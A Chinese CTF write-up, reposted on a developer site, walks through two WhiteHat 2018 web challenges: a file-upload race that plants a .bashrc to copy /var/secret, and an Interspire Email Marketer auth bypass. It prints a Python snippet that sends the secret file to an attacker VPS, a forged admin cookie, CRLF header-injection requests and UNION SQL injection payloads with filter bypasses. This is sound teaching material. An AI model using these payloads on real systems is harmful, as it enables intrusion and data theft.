2018WhiteHat-web-复盘

栏目: 服务器 · 发布时间: 5年前

内容简介:昨晚听说有个国外的比赛叫whitehat,做了一会儿发现思路停滞,本打算今天再做,发现已经结束了,按老外的思路,走了一遍,还是挺有意思的题目都没关,大家还能趁热复现一下~~题目链接:

前言

昨晚听说有个国外的比赛叫whitehat,做了一会儿发现思路停滞,本打算今天再做,发现已经结束了,按老外的思路,走了一遍,还是挺有意思的

题目都没关,大家还能趁热复现一下~~

上传条件竞争与.bashrc

题目信息

题目链接:

http://web01.grandprix.whitehatvn.com/

题目描述

Description: manhndd is running a service file upload at web01.grandprix.whitehatvn.com, it is restored every 2 minutes. Every 1 minute after service starts, he ssh into server to check /var/secret. Can you get it?
Note: Player shouldn't Dos web01, you can get source code and run in local

题干分析

刚拿到这道题的时候我走进了误区,题目给出了源代码

http://web01.grandprix.whitehatvn.com/SimpleHTTPServerWithUpload.py

看到 SimpleHTTPServer ,我的第一反应是ph写的这篇文章

https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html

我简单的测试了这个跳转的问题

http://web01.grandprix.whitehatvn.com//example.com/%2f..
2018WhiteHat-web-复盘

我发现的确可以成功跳转

我本以为这里可能会出现任意文件读取的问题,因为这里有flag的绝对路径 /var/secret

但这里没有附带的框架来继承或者使用这个类,所以我们很难进行目录穿越的文件读取

毕竟不是 web.py 或者 django

胡乱摸索

想到这题本身是一个上传

2018WhiteHat-web-复盘

我们随手测试一下,发现上传的目录是/opt

然后web会将目录列出来,我们可以任意访问该目录下的文件

我又尝试了一下目录穿越

2018WhiteHat-web-复盘

发现没有写入权限

于是我尝试了一下 tmp
2018WhiteHat-web-复盘

发现部分目录是可写的

2018WhiteHat-web-复盘

并且直接使用 /tmp/1.png 这样,甚至不需要 ../../ 这样穿越

另辟蹊径

既然这一点不行,我注意到了题目的提示

Every 1 minute after service starts, he ssh into server to check /var/secret.

我当时错误的理解为了每1分钟会重启一次服务,并且鬼迷心窍的想到了另一方法

因为我发现上传的路径和 SimpleHTTPServerWithUpload.py 是同一个路径

当时我天真的以为,如果我在当前目录下上传一个文件名与 SimpleHTTPServerWithUpload.py import的库名一致,就会被引入

所以我利用Burp不断上传一个名为 posixpath.py 的文件

内容为:

import requests
import base64
f = open('/var/secret','rb').read()
url = 'http://vps_ip:23333/?'+base64.b64encode(f)
r = requests.get(url=url)

我天真的以为在重启的时候,应该会引入这个文件,并且将flag打到我的vps

这里我利用了条件竞争与文件上传,应该满足题目的意思了吧,应该这样就是正解啦?

但是最终还是以失败告终,我的vps纹丝不动,没收到任何东西

神来之笔

后来看到writeup,才发现是

bashrc
profile

这里就要涉及到交互式 shell 和非交互式shell,login shell 和non-login shell

其中:

交互式模式就是shell等待你的输入,并且执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。

shell也可以运行在另外一种模式:非交互式模式。在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。

而bashrc与profile都用于保存用户的环境信息,bashrc用于non-loginshell,而profile用于login shell

所以这里 bashrc 可能可以成为一个突破口,因为该文件包含专用于某个用户的bash shell的bash信息,当该用户登录时以及每次打开新的shell时,该文件被读取

所以,如果我们能将 .bashrc 写到用户的目录下,在其每分钟打开ssh的时候,就会执行里面的命令,那么我们只要

cp /var/secret /opt/skysky

即可在当前目录下读到flag

我们首先测试一下,home有没有写权限

2018WhiteHat-web-复盘

显然 /home 目录是不行的,那我们如何知道用户名呢?

还是那个不起眼的题目描述

manhndd is running a service file upload at web01.grandprix.whitehatvn.com

难道这人叫 manhndd ?

我们再试试

2018WhiteHat-web-复盘

发现的确可以成功上传

那我们尝试覆盖上传 .bashrc
2018WhiteHat-web-复盘

用burp一边上传竞争覆盖,一边访问skysky这个文件

一段时间后即可收到flag

Interspire Email Marketer

题目信息

题目链接

http://web03.grandprix.whitehatvn.com:1337/

信息搜集

右键打开源代码,拉到最底下发现

<!--<label>@Buxu: Let's try to access admin page</label></br> -->

题目要求我们登入admin页面

2018WhiteHat-web-复盘

按照这里题目给出的要出,我们输入

2018WhiteHat-web-复盘

发现是404

那我们简单探测一下端口

如果端口开放

2018WhiteHat-web-复盘

如果端口关闭

2018WhiteHat-web-复盘

简单探测的结果为

2018WhiteHat-web-复盘

发现8088有结果

2018WhiteHat-web-复盘

应该是301跳转了,那我们加个index.php试试

2018WhiteHat-web-复盘

保存成html页面,查看后发现

2018WhiteHat-web-复盘

进一步思考

探测完端口,那么8088是什么服务的默认端口?还是说题目只是随便放在这个端口了?

若是,为什么不直接放在1337端口呢?

很快,我发现了自己的眼瞎= =

那页面里写着

Interspire Email Marketer

于是顺藤摸瓜搜了一下

2018WhiteHat-web-复盘

没错,就是这个点非常瞩目

https://www.exploit-db.com/exploits/44513/

发现可以直接绕过admin的授权,即有这个cookie即可

IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D

那我们如何发送cookie呢?

CRLF

这里的方案无意只有一点,即CRLF,因为path与host的拼接,这里很容易让人联想到能不能进行http头注入

于是我们简单构造为

{"url_path":"admin/index.php HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}

访问发现

2018WhiteHat-web-复盘

保存为html查看一下

2018WhiteHat-web-复盘

我们成功登入了

到此为止,感到无奈

sql注入

而后看到writeup,才知道

https://www.exploit-db.com/exploits/37935/

还有一个漏洞可以利用,即 sql 注入(但是据说是非预期= =)

CVE中给出的payload是这样的

http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- [SQLi]

http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,version%28%29,3,4--%20-[SQLi]

那我们仿照进行攻击即可

{"url_path":"admin/index.php?Page=Addons&Addon=dynamiccontenttags&Action=Edit&id=-1%27+UNION+Select+1,2,3,4--%20- HTTP/1.1\r\nCookie: IEM_CookieLogin=YTo0OntzOjQ6InVzZXIiO3M6MToiMSI7czo0OiJ0aW1lIjtpOjE1MDU0NzcyOTQ7czo0OiJyYW5kIjtiOjE7czo4OiJ0YWtlbWV0byI7czo5OiJpbmRleC5waHAiO30%3D\r\n","host":"127.0.0.1:8088"}
2018WhiteHat-web-复盘

发现有过滤,于是我们还是老规矩,用字典fuzz一下

2018WhiteHat-web-复盘

发现过滤的很少,考虑这里可能会对path进行urldecode,所以尝试了一下url编码绕过

union
%75nion

于是我们尝试

2018WhiteHat-web-复盘

发现成功

注:由于有CVE,所以就不用测试列数了,就是4列

那我们去进行数据库探测,找到标志点

form_text" value="

方便后面我们取出数据,查看数据库名

2018WhiteHat-web-复盘

查看表名

2018WhiteHat-web-复盘

查看列名

2018WhiteHat-web-复盘

读出数据

2018WhiteHat-web-复盘

得到flag

WhiteHat{cbb66097f69c3938bfd4a157ab4ebe762a16c1b1}

参考链接

https://github.com/reznok/CTFWriteUps/tree/master/


以上所述就是小编给大家介绍的《2018WhiteHat-web-复盘》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

三双鞋

三双鞋

[美] 谢家华 / [美] 谢传刚 / 中华工商联合出版社 / 2011-1 / 32.90元

本书是“美捷步”(Zappos)首席执行官谢家华创造奇迹的心路历程与商业哲学的精华萃取,分享了他在商场与生活中得到的宝贵经验与教训。从儿时创办蚯蚓养殖场到大学经营比萨生意,从“链接交换”公司到“美捷步”品牌,本书将谢家华的个人传记与其公司传奇的商业史完美结合,不仅打造了一套利润、激情和目标渐次递进的独特商业模式,更揭示了成功路上起决定作用的真正秘密:奉上幸福。一起来看看 《三双鞋》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具